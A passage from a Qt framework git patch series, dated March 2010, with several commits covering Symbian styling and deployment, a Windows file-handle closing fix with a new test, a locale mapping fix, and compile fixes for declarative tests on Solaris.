\c{C:\Qt\4.6.2\plugins\sqldrivers}. + \list + \o \c{libqsqlmysql4.a} + \o \c{libqsqlmysqld4.a} + \o \c{qsqlmysql4.dll} + \o \c{qsqlmysqld4.dll} + \endlist + To use the SDK and QtCreator directly, copy these libraries to + your \c{C:\Qt\...\qt\plugins\sqldrivers\}, and copy + \c{C:\MySQL\MySQL51\lib\opt\libmysql.dll} to your \c{C:\Qt\...\qt\bin\}. + + \endlist + \target QOCI \section2 QOCI for the Oracle Call Interface (OCI) -- cgit v0.12 From 0409cdb406021d8609eb2a88a896f9fbc085805f Mon Sep 17 00:00:00 2001 From: Janne Anttila Date: Tue, 23 Mar 2010 11:21:38 +0200 Subject: Hotfix to const usage in 262e98f9a29385f99cd6f768632264e0b621dc01 Reviewed-By: TrustMe --- src/gui/kernel/qsoftkeymanager.cpp | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/src/gui/kernel/qsoftkeymanager.cpp b/src/gui/kernel/qsoftkeymanager.cpp index d324c76..923144a 100644 --- a/src/gui/kernel/qsoftkeymanager.cpp +++ b/src/gui/kernel/qsoftkeymanager.cpp @@ -197,8 +197,8 @@ QWidget *QSoftKeyManager::softkeySource(QWidget *previousSource, bool& recursive QWidget *source = NULL; if (!previousSource) { // Initial source is primarily focuswidget and secondarily activeWindow - const QWidget *focus = QApplication::focusWidget(); - const QWidget *popup = QApplication::activePopupWidget(); + QWidget *focus = QApplication::focusWidget(); + QWidget *popup = QApplication::activePopupWidget(); if (popup) { if (isChildOf(focus, popup)) source = focus; @@ -206,7 +206,7 @@ QWidget *QSoftKeyManager::softkeySource(QWidget *previousSource, bool& recursive source = popup; } if (!source) { - const QWidget *modal = QApplication::activeModalWidget(); + QWidget *modal = QApplication::activeModalWidget(); if (modal) { if (isChildOf(focus, modal)) source = focus; -- cgit v0.12 From dd9c26cba63c54358f3309143b76ae0416f89c78 Mon Sep 17 00:00:00 2001 From: Sami Merila Date: Tue, 23 Mar 2010 11:39:56 +0200 Subject: Remove internal custom pixel metric enums Use only public custom pixel metrics. Remove the internal enum and switch usage of those to public enum values. Task-number: QTBUG-9247 Reviewed-by: Alessandro Portale --- src/gui/styles/qs60style.cpp | 30 +++++++++++++++--------------- src/gui/styles/qs60style_p.h | 8 -------- 2 files changed, 15 insertions(+), 23 deletions(-) diff --git a/src/gui/styles/qs60style.cpp b/src/gui/styles/qs60style.cpp index ec8b468..c77d828 100644 --- a/src/gui/styles/qs60style.cpp +++ b/src/gui/styles/qs60style.cpp @@ -413,8 +413,8 @@ QColor QS60StylePrivate::colorFromFrameGraphics(SkinFrameElements frame) const { const bool cachedColorExists = m_colorCache.contains(frame); if (!cachedColorExists) { - const int frameCornerWidth = pixelMetric(PM_Custom_FrameCornerWidth); - const int frameCornerHeight = pixelMetric(PM_Custom_FrameCornerHeight); + const int frameCornerWidth = pixelMetric(PM_FrameCornerWidth); + const int frameCornerHeight = pixelMetric(PM_FrameCornerHeight); Q_ASSERT(2 * frameCornerWidth < 32); Q_ASSERT(2 * frameCornerHeight < 32); @@ -874,7 +874,7 @@ QSize QS60StylePrivate::partSize(QS60StyleEnums::SkinParts part, SkinElementFlag case QS60StyleEnums::SP_QgnGrafBarFrameSideL: case QS60StyleEnums::SP_QgnGrafBarFrameSideR: - result.setWidth(pixelMetric(PM_Custom_FrameCornerWidth)); + result.setWidth(pixelMetric(PM_FrameCornerWidth)); break; case QS60StyleEnums::SP_QsnCpScrollHandleTopPressed: @@ -901,15 +901,15 @@ QSize QS60StylePrivate::partSize(QS60StyleEnums::SkinParts part, SkinElementFlag case 7: /* CornerTr */ case 6: /* CornerBl */ case 5: /* CornerBr */ - result.setWidth(pixelMetric(PM_Custom_FrameCornerWidth)); + result.setWidth(pixelMetric(PM_FrameCornerWidth)); // Falltrough intended... case 4: /* SideT */ case 3: /* SideB */ - result.setHeight(pixelMetric(PM_Custom_FrameCornerHeight)); + result.setHeight(pixelMetric(PM_FrameCornerHeight)); break; case 2: /* SideL */ case 1: /* SideR */ - result.setWidth(pixelMetric(PM_Custom_FrameCornerWidth)); + result.setWidth(pixelMetric(PM_FrameCornerWidth)); break; case 0: /* center */ default: @@ -1376,7 +1376,7 @@ void QS60Style::drawControl(ControlElement element, const QStyleOption *option, } if (!comboBox->currentText.isEmpty() && !comboBox->editable) { QCommonStyle::drawItemText(painter, - editRect.adjusted(QS60StylePrivate::pixelMetric(PM_Custom_FrameCornerWidth), 0, -1, 0), + editRect.adjusted(QS60StylePrivate::pixelMetric(PM_FrameCornerWidth), 0, -1, 0), visualAlignment(comboBox->direction, Qt::AlignLeft | Qt::AlignVCenter), comboBox->palette, comboBox->state & State_Enabled, comboBox->currentText); } @@ -1841,8 +1841,8 @@ void QS60Style::drawControl(ControlElement element, const QStyleOption *option, painter->save(); QPen linePen = QPen(QS60StylePrivate::s60Color(QS60StyleEnums::CL_QsnLineColors, 1, header)); const int penWidth = (header->orientation == Qt::Horizontal) ? - linePen.width() + QS60StylePrivate::pixelMetric(PM_Custom_BoldLineWidth) - : linePen.width() + QS60StylePrivate::pixelMetric(PM_Custom_ThinLineWidth); + linePen.width() + QS60StylePrivate::pixelMetric(PM_BoldLineWidth) + : linePen.width() + QS60StylePrivate::pixelMetric(PM_ThinLineWidth); linePen.setWidth(penWidth); painter->setPen(linePen); if (header->orientation == Qt::Horizontal){ @@ -1861,7 +1861,7 @@ void QS60Style::drawControl(ControlElement element, const QStyleOption *option, //Make cornerButton slightly smaller so that it is not on top of table border graphic. QStyleOptionHeader subopt = *header; const int borderTweak = - QS60StylePrivate::pixelMetric(PM_Custom_FrameCornerWidth) >> 1; + QS60StylePrivate::pixelMetric(PM_FrameCornerWidth) >> 1; if (subopt.direction == Qt::LeftToRight) subopt.rect.adjust(borderTweak, borderTweak, 0, -borderTweak); else @@ -2085,7 +2085,7 @@ void QS60Style::drawPrimitive(PrimitiveElement element, const QStyleOption *opti // ... or normal "tick" selection at the end. } else if (option->state & State_Selected) { QRect tickRect = option->rect; - const int frameBorderWidth = QS60StylePrivate::pixelMetric(PM_Custom_FrameCornerWidth); + const int frameBorderWidth = QS60StylePrivate::pixelMetric(PM_FrameCornerWidth); // adjust tickmark rect to exclude frame border tickRect.adjust(0, -frameBorderWidth, 0, -frameBorderWidth); QS60StyleEnums::SkinParts skinPart = QS60StyleEnums::SP_QgnIndiMarkedAdd; @@ -2166,7 +2166,7 @@ void QS60Style::drawPrimitive(PrimitiveElement element, const QStyleOption *opti const QS60StyleEnums::SkinParts part = (element == PE_IndicatorSpinUp) ? QS60StyleEnums::SP_QgnGrafScrollArrowUp : QS60StyleEnums::SP_QgnGrafScrollArrowDown; - const int iconMargin = QS60StylePrivate::pixelMetric(PM_Custom_FrameCornerWidth) >> 1; + const int iconMargin = QS60StylePrivate::pixelMetric(PM_FrameCornerWidth) >> 1; optionSpinBox.rect.translate(0, (element == PE_IndicatorSpinDown) ? iconMargin : -iconMargin ); QS60StylePrivate::drawSkinPart(part, painter, optionSpinBox.rect, flags); } else { @@ -2180,7 +2180,7 @@ void QS60Style::drawPrimitive(PrimitiveElement element, const QStyleOption *opti // We want to draw down arrow here for comboboxes as well. QStyleOptionFrame optionsComboBox = *cmb; const QS60StyleEnums::SkinParts part = QS60StyleEnums::SP_QgnGrafScrollArrowDown; - const int iconMargin = QS60StylePrivate::pixelMetric(PM_Custom_FrameCornerWidth) >> 1; + const int iconMargin = QS60StylePrivate::pixelMetric(PM_FrameCornerWidth) >> 1; optionsComboBox.rect.translate(0, (element == PE_IndicatorSpinDown) ? iconMargin : -iconMargin ); QS60StylePrivate::drawSkinPart(part, painter, optionsComboBox.rect, flags); } else { @@ -2934,9 +2934,9 @@ QRect QS60Style::subElementRect(SubElement element, const QStyleOption *opt, con if (qstyleoption_cast(opt)) { // Subtract area needed for line if (opt->state & State_Horizontal) - ret.setHeight(ret.height() - QS60StylePrivate::pixelMetric(PM_Custom_BoldLineWidth)); + ret.setHeight(ret.height() - QS60StylePrivate::pixelMetric(PM_BoldLineWidth)); else - ret.setWidth(ret.width() - QS60StylePrivate::pixelMetric(PM_Custom_ThinLineWidth)); + ret.setWidth(ret.width() - QS60StylePrivate::pixelMetric(PM_ThinLineWidth)); } ret = visualRect(opt->direction, opt->rect, ret); break; diff --git a/src/gui/styles/qs60style_p.h b/src/gui/styles/qs60style_p.h index df6f582..8bb2f7b 100644 --- a/src/gui/styles/qs60style_p.h +++ b/src/gui/styles/qs60style_p.h @@ -62,14 +62,6 @@ QT_BEGIN_NAMESPACE const int MAX_NON_CUSTOM_PIXELMETRICS = 92; const int CUSTOMVALUESCOUNT = 4; -//internal custom pixel metrics values, these map to entry in data[] table -enum { - PM_Custom_FrameCornerWidth = MAX_NON_CUSTOM_PIXELMETRICS, - PM_Custom_FrameCornerHeight, - PM_Custom_BoldLineWidth, - PM_Custom_ThinLineWidth - }; - const int MAX_PIXELMETRICS = MAX_NON_CUSTOM_PIXELMETRICS + CUSTOMVALUESCOUNT; typedef struct { -- cgit v0.12 From fc67ae441fb4bd73041fb7efc96e13310deff5dd Mon Sep 17 00:00:00 2001 From: Robert Griebl Date: Tue, 23 Mar 2010 11:28:56 +0100 Subject: Extended the high_attributes array, since we have more than 127 widget attributes now. Reviewed-by: TrustMe --- src/gui/kernel/qwidget_p.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/gui/kernel/qwidget_p.h b/src/gui/kernel/qwidget_p.h index c32e1a1..ef7ac1f 100644 --- a/src/gui/kernel/qwidget_p.h +++ b/src/gui/kernel/qwidget_p.h @@ -680,7 +680,7 @@ public: QMap gestureContext; // Bit fields. - uint high_attributes[3]; // the low ones are in QWidget::widget_attributes + uint high_attributes[4]; // the low ones are in QWidget::widget_attributes QPalette::ColorRole fg_role : 8; QPalette::ColorRole bg_role : 8; uint dirtyOpaqueChildren : 1; -- cgit v0.12 From cd226eeb278108a5c1168b7cc01cadded6045f05 Mon Sep 17 00:00:00 2001 From: Miikka Heikkinen Date: Tue, 23 Mar 2010 12:27:08 +0200 Subject: Changed Symbian pkg files to deploy from under epoc32 Since the build process copies everything that is deployed using DEPLOYMENT variable under epoc32 somewhere, pkg files might as well look for the files from there. This can be useful for binary releases if the release needs to be repackaged. Task-number: QT-3147 Reviewed-by: Janne Anttila --- qmake/generators/symbian/symmake.cpp | 21 ++++++++++++++++++--- src/s60installs/s60installs.pro | 5 ++++- 2 files changed, 22 insertions(+), 4 deletions(-) diff --git a/qmake/generators/symbian/symmake.cpp b/qmake/generators/symbian/symmake.cpp index 9aa122a..c6023b5 100644 --- a/qmake/generators/symbian/symmake.cpp +++ b/qmake/generators/symbian/symmake.cpp @@ -456,14 +456,29 @@ void SymbianMakefileGenerator::generatePkgFile(const QString &iconFile, Deployme // deploy any additional DEPLOYMENT files QString remoteTestPath; remoteTestPath = QString("!:\\private\\%1").arg(privateDirUid); + QString zDir = epocRoot() + QLatin1String("epoc32/data/z"); initProjectDeploySymbian(project, depList, remoteTestPath, true, "$(PLATFORM)", "$(TARGET)", generatedDirs, generatedFiles); if (depList.size()) t << "; DEPLOYMENT" << endl; for (int i = 0; i < depList.size(); ++i) { - t << QString("\"%1\" - \"%2\"") - .arg(QString(depList.at(i).from).replace('\\','/')) - .arg(depList.at(i).to) << endl; + QString from = depList.at(i).from; + QString to = depList.at(i).to; + + // Deploy anything not already deployed from under epoc32 instead from under + // \epoc32\data\z\ to enable using pkg file without rebuilding + // the project, which can be useful for some binary only distributions. + if (!from.contains(QLatin1String("epoc32"), Qt::CaseInsensitive)) { + from = to; + if (from.size() > 1 && from.at(1) == QLatin1Char(':')) + from = from.mid(2); + from.prepend(zDir); + } else { + if (from.size() > 1 && from.at(1) == QLatin1Char(':')) + from = from.mid(2); + } + + t << QString("\"%1\" - \"%2\"").arg(from.replace('\\','/')).arg(to) << endl; } t << endl; diff --git a/src/s60installs/s60installs.pro b/src/s60installs/s60installs.pro index 1f6e72b..f37cd58 100644 --- a/src/s60installs/s60installs.pro +++ b/src/s60installs/s60installs.pro @@ -13,9 +13,12 @@ symbian: { TARGET.UID3 = 0x2001E61C # sqlite3 is expected to be already found on phone if infixed configuration is built. + BLD_INF_RULES.prj_exports += \ + "sqlite3.sis $${EPOCROOT}epoc32/data/qt/sis/sqlite3.sis" \ + "sqlite3_selfsigned.sis $${EPOCROOT}epoc32/data/qt/sis/sqlite3_selfsigned.sis" sqlitedeployment = \ "; Deploy sqlite onto phone that does not have it already" \ - "@\"$$PWD/sqlite3.sis\", (0x2002af5f)" + "@\"$${EPOCROOT}epoc32/data/qt/sis/sqlite3.sis\", (0x2002af5f)" qtlibraries.pkg_postrules += sqlitedeployment } else { # Always use experimental UID for infixed configuration to avoid UID clash -- cgit v0.12 From b9ce9a88c212922483abd6e99a44e7419beeca98 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Morten=20Johan=20S=C3=B8rvig?= Date: Tue, 23 Mar 2010 11:01:30 +0100 Subject: Revert change 7bf4512659 on Cocoa. This change adds a workarond where we call show() on the popup in QCompleter::setPopup. Unfortunately this causes unnecessary startup delays and popup flicker in Creator. The original bug reports (254456 and 254460) are not reproducible on Cocoa. --- src/gui/util/qcompleter.cpp | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/gui/util/qcompleter.cpp b/src/gui/util/qcompleter.cpp index 387bf87..c095b3b 100644 --- a/src/gui/util/qcompleter.cpp +++ b/src/gui/util/qcompleter.cpp @@ -1110,7 +1110,7 @@ void QCompleter::setPopup(QAbstractItemView *popup) delete d->popup; if (popup->model() != d->proxy) popup->setModel(d->proxy); -#ifdef Q_OS_MAC +#if defined(Q_OS_MAC) && !defined(QT_MAC_USE_COCOA) popup->show(); #else popup->hide(); -- cgit v0.12 From 5f3cf10427640b3578c291e93374c04d9122ddb3 Mon Sep 17 00:00:00 2001 From: Denis Dzyubenko Date: Tue, 23 Mar 2010 12:44:26 +0100 Subject: Fixed locale mapping on Symbian. Changed mapping to map Serbian locale on Symbian to sr_RS locale. Author: dka Reviewed-by: dka --- src/corelib/tools/qlocale_symbian.cpp | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/corelib/tools/qlocale_symbian.cpp b/src/corelib/tools/qlocale_symbian.cpp index 58e3ba8..01f56cc 100644 --- a/src/corelib/tools/qlocale_symbian.cpp +++ b/src/corelib/tools/qlocale_symbian.cpp @@ -133,7 +133,7 @@ static const symbianToISO symbian_to_iso_list[] = { { ELangMalay, "ms_MY" }, { ELangBrazilianPortuguese, "pt_BR" }, { ELangRomanian, "ro_RO" }, - { ELangSerbian, "sr_YU" }, + { ELangSerbian, "sr_RS" }, { ELangLatinAmericanSpanish, "es" }, { ELangUkrainian, "uk_UA" }, { ELangUrdu, "ur_PK" }, // India/Pakistan -- cgit v0.12 From 7986ab58b9a5d0828291c857d3ce86bfa1af4e6e Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Jo=C3=A3o=20Abecasis?= Date: Fri, 16 Oct 2009 18:08:30 +0200 Subject: _close(fd) closes the associated handle and not the other way around ... according to the online MSDN documentation. Hid the cachedFd member in private data under WinCE, since it's never used there. Task-number: QTBUG-9085 Reviewed-by: Zeno Albisser --- src/corelib/io/qfsfileengine.cpp | 2 ++ src/corelib/io/qfsfileengine_p.h | 4 +++ src/corelib/io/qfsfileengine_win.cpp | 18 ++++++++++++-- tests/auto/qfile/tst_qfile.cpp | 47 ++++++++++++++++++++++++++++++++++++ 4 files changed, 69 insertions(+), 2 deletions(-) diff --git a/src/corelib/io/qfsfileengine.cpp b/src/corelib/io/qfsfileengine.cpp index 5e14804..a1ffb81 100644 --- a/src/corelib/io/qfsfileengine.cpp +++ b/src/corelib/io/qfsfileengine.cpp @@ -126,8 +126,10 @@ void QFSFileEnginePrivate::init() fileAttrib = INVALID_FILE_ATTRIBUTES; fileHandle = INVALID_HANDLE_VALUE; mapHandle = INVALID_HANDLE_VALUE; +#ifndef Q_OS_WINCE cachedFd = -1; #endif +#endif } /*! diff --git a/src/corelib/io/qfsfileengine_p.h b/src/corelib/io/qfsfileengine_p.h index d07c3a0..55c779e 100644 --- a/src/corelib/io/qfsfileengine_p.h +++ b/src/corelib/io/qfsfileengine_p.h @@ -112,7 +112,11 @@ public: HANDLE fileHandle; HANDLE mapHandle; QHash maps; + +#ifndef Q_OS_WINCE mutable int cachedFd; +#endif + mutable DWORD fileAttrib; #else QHash > maps; diff --git a/src/corelib/io/qfsfileengine_win.cpp b/src/corelib/io/qfsfileengine_win.cpp index 8d34486..9fc8dc3 100644 --- a/src/corelib/io/qfsfileengine_win.cpp +++ b/src/corelib/io/qfsfileengine_win.cpp @@ -450,13 +450,27 @@ bool QFSFileEnginePrivate::nativeClose() // Windows native mode. bool ok = true; + +#ifndef Q_OS_WINCE + if (cachedFd != -1) { + if (::_close(cachedFd) && !::CloseHandle(fileHandle)) { + q->setError(QFile::UnspecifiedError, qt_error_string()); + ok = false; + } + + // System handle is closed with associated file descriptor. + fileHandle = INVALID_HANDLE_VALUE; + cachedFd = -1; + + return ok; + } +#endif + if ((fileHandle == INVALID_HANDLE_VALUE || !::CloseHandle(fileHandle))) { q->setError(QFile::UnspecifiedError, qt_error_string()); ok = false; } fileHandle = INVALID_HANDLE_VALUE; - cachedFd = -1; // gets closed by CloseHandle above - return ok; } diff --git a/tests/auto/qfile/tst_qfile.cpp b/tests/auto/qfile/tst_qfile.cpp index f407b12..8722a86 100644 --- a/tests/auto/qfile/tst_qfile.cpp +++ b/tests/auto/qfile/tst_qfile.cpp @@ -196,6 +196,7 @@ private slots: void miscWithUncPathAsCurrentDir(); void standarderror(); void handle(); + void nativeHandleLeaks(); void readEof_data(); void readEof(); @@ -392,6 +393,7 @@ void tst_QFile::cleanupTestCase() QFile::remove("resources"); QFile::remove("qfile_map_testfile"); QFile::remove("readAllBuffer.txt"); + QFile::remove("qt_file.tmp"); } //------------------------------------------ @@ -2538,6 +2540,51 @@ void tst_QFile::handle() #endif } +void tst_QFile::nativeHandleLeaks() +{ + int fd1, fd2; + +#ifdef Q_OS_WIN + HANDLE handle1, handle2; +#endif + + { + QFile file("qt_file.tmp"); + QVERIFY( file.open(QIODevice::ReadWrite) ); + + fd1 = file.handle(); + QVERIFY( -1 != fd1 ); + } + +#ifdef Q_OS_WIN + handle1 = ::CreateFileA("qt_file.tmp", GENERIC_READ, 0, NULL, + OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); + QVERIFY( INVALID_HANDLE_VALUE != handle1 ); + QVERIFY( ::CloseHandle(handle1) ); +#endif + + { + QFile file("qt_file.tmp"); + QVERIFY( file.open(QIODevice::ReadOnly) ); + + fd2 = file.handle(); + QVERIFY( -1 != fd2 ); + } + +#ifdef Q_OS_WIN + handle2 = ::CreateFileA("qt_file.tmp", GENERIC_READ, 0, NULL, + OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); + QVERIFY( INVALID_HANDLE_VALUE != handle2 ); + QVERIFY( ::CloseHandle(handle2) ); +#endif + + QCOMPARE( fd2, fd1 ); + +#ifdef Q_OS_WIN + QCOMPARE( handle2, handle1 ); +#endif +} + void tst_QFile::readEof_data() { QTest::addColumn("filename"); -- cgit v0.12 From 711d3614ed64b2e962e07f7070d9834f85231ab5 Mon Sep 17 00:00:00 2001 From: Alan Alpert Date: Tue, 23 Mar 2010 13:02:23 +0100 Subject: Make more tests compile on solaris-cc --- .../qdeclarativebinding/tst_qdeclarativebinding.cpp | 2 +- .../qdeclarativedebug/tst_qdeclarativedebug.cpp | 2 +- .../qdeclarativelanguage/tst_qdeclarativelanguage.cpp | 8 ++++---- .../qdeclarativeproperty/tst_qdeclarativeproperty.cpp | 18 +++++++++--------- .../qdeclarativestates/tst_qdeclarativestates.cpp | 8 ++++---- 5 files changed, 19 insertions(+), 19 deletions(-) diff --git a/tests/auto/declarative/qdeclarativebinding/tst_qdeclarativebinding.cpp b/tests/auto/declarative/qdeclarativebinding/tst_qdeclarativebinding.cpp index 826df4f..483d588 100644 --- a/tests/auto/declarative/qdeclarativebinding/tst_qdeclarativebinding.cpp +++ b/tests/auto/declarative/qdeclarativebinding/tst_qdeclarativebinding.cpp @@ -79,7 +79,7 @@ void tst_qdeclarativebinding::binding() QDeclarativeBind *binding = qobject_cast(rect->findChild("binding1")); QVERIFY(binding != 0); - QCOMPARE(binding->object(), rect); + QCOMPARE(binding->object(), qobject_cast(rect)); QCOMPARE(binding->property(), QLatin1String("text")); QCOMPARE(binding->value().toString(), QLatin1String("Hello")); diff --git a/tests/auto/declarative/qdeclarativedebug/tst_qdeclarativedebug.cpp b/tests/auto/declarative/qdeclarativedebug/tst_qdeclarativedebug.cpp index 0c3ca76..d0eb90e 100644 --- a/tests/auto/declarative/qdeclarativedebug/tst_qdeclarativedebug.cpp +++ b/tests/auto/declarative/qdeclarativedebug/tst_qdeclarativedebug.cpp @@ -153,7 +153,7 @@ QDeclarativeDebugPropertyReference tst_QDeclarativeDebug::findProperty(const QLi void tst_QDeclarativeDebug::waitForQuery(QDeclarativeDebugQuery *query) { QVERIFY(query); - QCOMPARE(query->parent(), this); + QCOMPARE(query->parent(), qobject_cast(this)); QVERIFY(query->state() == QDeclarativeDebugQuery::Waiting); if (!QDeclarativeDebugTest::waitForSignal(query, SIGNAL(stateChanged(QDeclarativeDebugQuery::State)))) QFAIL("query timed out"); diff --git a/tests/auto/declarative/qdeclarativelanguage/tst_qdeclarativelanguage.cpp b/tests/auto/declarative/qdeclarativelanguage/tst_qdeclarativelanguage.cpp index 42426a2..72b6b28 100644 --- a/tests/auto/declarative/qdeclarativelanguage/tst_qdeclarativelanguage.cpp +++ b/tests/auto/declarative/qdeclarativelanguage/tst_qdeclarativelanguage.cpp @@ -690,7 +690,7 @@ void tst_qdeclarativelanguage::propertyValueSource() MyPropertyValueSource *valueSource = qobject_cast(valueSources.at(0)); QVERIFY(valueSource != 0); - QCOMPARE(valueSource->prop.object(), object); + QCOMPARE(valueSource->prop.object(), qobject_cast(object)); QCOMPARE(valueSource->prop.name(), QString(QLatin1String("intProperty"))); } @@ -711,7 +711,7 @@ void tst_qdeclarativelanguage::propertyValueSource() MyPropertyValueSource *valueSource = qobject_cast(valueSources.at(0)); QVERIFY(valueSource != 0); - QCOMPARE(valueSource->prop.object(), object); + QCOMPARE(valueSource->prop.object(), qobject_cast(object)); QCOMPARE(valueSource->prop.name(), QString(QLatin1String("intProperty"))); } } @@ -1033,12 +1033,12 @@ void tst_qdeclarativelanguage::scriptString() MyTypeObject *object = qobject_cast(component.create()); QVERIFY(object != 0); QCOMPARE(object->scriptProperty().script(), QString("foo + bar")); - QCOMPARE(object->scriptProperty().scopeObject(), object); + QCOMPARE(object->scriptProperty().scopeObject(), qobject_cast(object)); QCOMPARE(object->scriptProperty().context(), qmlContext(object)); QVERIFY(object->grouped() != 0); QCOMPARE(object->grouped()->script().script(), QString("console.log(1921)")); - QCOMPARE(object->grouped()->script().scopeObject(), object); + QCOMPARE(object->grouped()->script().scopeObject(), qobject_cast(object)); QCOMPARE(object->grouped()->script().context(), qmlContext(object)); } diff --git a/tests/auto/declarative/qdeclarativeproperty/tst_qdeclarativeproperty.cpp b/tests/auto/declarative/qdeclarativeproperty/tst_qdeclarativeproperty.cpp index eed12ea..56166f2 100644 --- a/tests/auto/declarative/qdeclarativeproperty/tst_qdeclarativeproperty.cpp +++ b/tests/auto/declarative/qdeclarativeproperty/tst_qdeclarativeproperty.cpp @@ -305,7 +305,7 @@ void tst_qdeclarativeproperty::qmlmetaproperty_object() QCOMPARE(prop.isDesignable(), true); QCOMPARE(prop.isResettable(), false); QCOMPARE(prop.isValid(), true); - QCOMPARE(prop.object(), &dobject); + QCOMPARE(prop.object(), qobject_cast(&dobject)); QCOMPARE(prop.propertyTypeCategory(), QDeclarativeProperty::Normal); QCOMPARE(prop.propertyType(), (int)QVariant::Int); QCOMPARE(prop.propertyTypeName(), "int"); @@ -404,7 +404,7 @@ void tst_qdeclarativeproperty::qmlmetaproperty_object_string() QCOMPARE(prop.isDesignable(), true); QCOMPARE(prop.isResettable(), false); QCOMPARE(prop.isValid(), true); - QCOMPARE(prop.object(), &dobject); + QCOMPARE(prop.object(), qobject_cast(&dobject)); QCOMPARE(prop.propertyTypeCategory(), QDeclarativeProperty::Normal); QCOMPARE(prop.propertyType(), (int)QVariant::Int); QCOMPARE(prop.propertyTypeName(), "int"); @@ -452,7 +452,7 @@ void tst_qdeclarativeproperty::qmlmetaproperty_object_string() QCOMPARE(prop.isDesignable(), false); QCOMPARE(prop.isResettable(), false); QCOMPARE(prop.isValid(), true); - QCOMPARE(prop.object(), &dobject); + QCOMPARE(prop.object(), qobject_cast(&dobject)); QCOMPARE(prop.propertyTypeCategory(), QDeclarativeProperty::InvalidCategory); QCOMPARE(prop.propertyType(), 0); QCOMPARE(prop.propertyTypeName(), (const char *)0); @@ -499,7 +499,7 @@ void tst_qdeclarativeproperty::qmlmetaproperty_object_string() QCOMPARE(prop.isDesignable(), false); QCOMPARE(prop.isResettable(), false); QCOMPARE(prop.isValid(), true); - QCOMPARE(prop.object(), &dobject); + QCOMPARE(prop.object(), qobject_cast(&dobject)); QCOMPARE(prop.propertyTypeCategory(), QDeclarativeProperty::InvalidCategory); QCOMPARE(prop.propertyType(), 0); QCOMPARE(prop.propertyTypeName(), (const char *)0); @@ -597,7 +597,7 @@ void tst_qdeclarativeproperty::qmlmetaproperty_object_context() QCOMPARE(prop.isDesignable(), true); QCOMPARE(prop.isResettable(), false); QCOMPARE(prop.isValid(), true); - QCOMPARE(prop.object(), &dobject); + QCOMPARE(prop.object(), qobject_cast(&dobject)); QCOMPARE(prop.propertyTypeCategory(), QDeclarativeProperty::Normal); QCOMPARE(prop.propertyType(), (int)QVariant::Int); QCOMPARE(prop.propertyTypeName(), "int"); @@ -696,7 +696,7 @@ void tst_qdeclarativeproperty::qmlmetaproperty_object_string_context() QCOMPARE(prop.isDesignable(), true); QCOMPARE(prop.isResettable(), false); QCOMPARE(prop.isValid(), true); - QCOMPARE(prop.object(), &dobject); + QCOMPARE(prop.object(), qobject_cast(&dobject)); QCOMPARE(prop.propertyTypeCategory(), QDeclarativeProperty::Normal); QCOMPARE(prop.propertyType(), (int)QVariant::Int); QCOMPARE(prop.propertyTypeName(), "int"); @@ -744,7 +744,7 @@ void tst_qdeclarativeproperty::qmlmetaproperty_object_string_context() QCOMPARE(prop.isDesignable(), false); QCOMPARE(prop.isResettable(), false); QCOMPARE(prop.isValid(), true); - QCOMPARE(prop.object(), &dobject); + QCOMPARE(prop.object(), qobject_cast(&dobject)); QCOMPARE(prop.propertyTypeCategory(), QDeclarativeProperty::InvalidCategory); QCOMPARE(prop.propertyType(), 0); QCOMPARE(prop.propertyTypeName(), (const char *)0); @@ -791,7 +791,7 @@ void tst_qdeclarativeproperty::qmlmetaproperty_object_string_context() QCOMPARE(prop.isDesignable(), false); QCOMPARE(prop.isResettable(), false); QCOMPARE(prop.isValid(), true); - QCOMPARE(prop.object(), &dobject); + QCOMPARE(prop.object(), qobject_cast(&dobject)); QCOMPARE(prop.propertyTypeCategory(), QDeclarativeProperty::InvalidCategory); QCOMPARE(prop.propertyType(), 0); QCOMPARE(prop.propertyTypeName(), (const char *)0); @@ -1254,7 +1254,7 @@ void tst_qdeclarativeproperty::writeObjectToList() QDeclarativeProperty prop(container, "children"); prop.write(qVariantFromValue(object)); QCOMPARE(list.count(), 1); - QCOMPARE(list.at(0), object); + QCOMPARE(list.at(0), qobject_cast(object)); } Q_DECLARE_METATYPE(QList); diff --git a/tests/auto/declarative/qdeclarativestates/tst_qdeclarativestates.cpp b/tests/auto/declarative/qdeclarativestates/tst_qdeclarativestates.cpp index 9e1d727..91883c9 100644 --- a/tests/auto/declarative/qdeclarativestates/tst_qdeclarativestates.cpp +++ b/tests/auto/declarative/qdeclarativestates/tst_qdeclarativestates.cpp @@ -565,7 +565,7 @@ void tst_qdeclarativestates::anchorChanges() rect->setState("right"); QCOMPARE(innerRect->x(), qreal(150)); QCOMPARE(aChanges->reset(), QString("left")); - QCOMPARE(aChanges->object(), innerRect); + QCOMPARE(aChanges->object(), qobject_cast(innerRect)); QCOMPARE(aChanges->right().item, rect->right().item); QCOMPARE(aChanges->right().anchorLine, rect->right().anchorLine); @@ -622,7 +622,7 @@ void tst_qdeclarativestates::anchorChanges3() QVERIFY(aChanges != 0); rect->setState("reanchored"); - QCOMPARE(aChanges->object(), innerRect); + QCOMPARE(aChanges->object(), qobject_cast(innerRect)); QCOMPARE(aChanges->left().item, leftGuideline->left().item); QCOMPARE(aChanges->left().anchorLine, leftGuideline->left().anchorLine); QCOMPARE(aChanges->right().item, rect->right().item); @@ -672,7 +672,7 @@ void tst_qdeclarativestates::anchorChanges4() QVERIFY(aChanges != 0); rect->setState("reanchored"); - QCOMPARE(aChanges->object(), innerRect); + QCOMPARE(aChanges->object(), qobject_cast(innerRect)); QCOMPARE(aChanges->horizontalCenter().item, bottomGuideline->horizontalCenter().item); QCOMPARE(aChanges->horizontalCenter().anchorLine, bottomGuideline->horizontalCenter().anchorLine); QCOMPARE(aChanges->verticalCenter().item, leftGuideline->verticalCenter().item); @@ -707,7 +707,7 @@ void tst_qdeclarativestates::anchorChanges5() QVERIFY(aChanges != 0); rect->setState("reanchored"); - QCOMPARE(aChanges->object(), innerRect); + QCOMPARE(aChanges->object(), qobject_cast(innerRect)); QCOMPARE(aChanges->horizontalCenter().item, bottomGuideline->horizontalCenter().item); QCOMPARE(aChanges->horizontalCenter().anchorLine, bottomGuideline->horizontalCenter().anchorLine); QCOMPARE(aChanges->baseline().item, leftGuideline->baseline().item); -- cgit v0.12 From 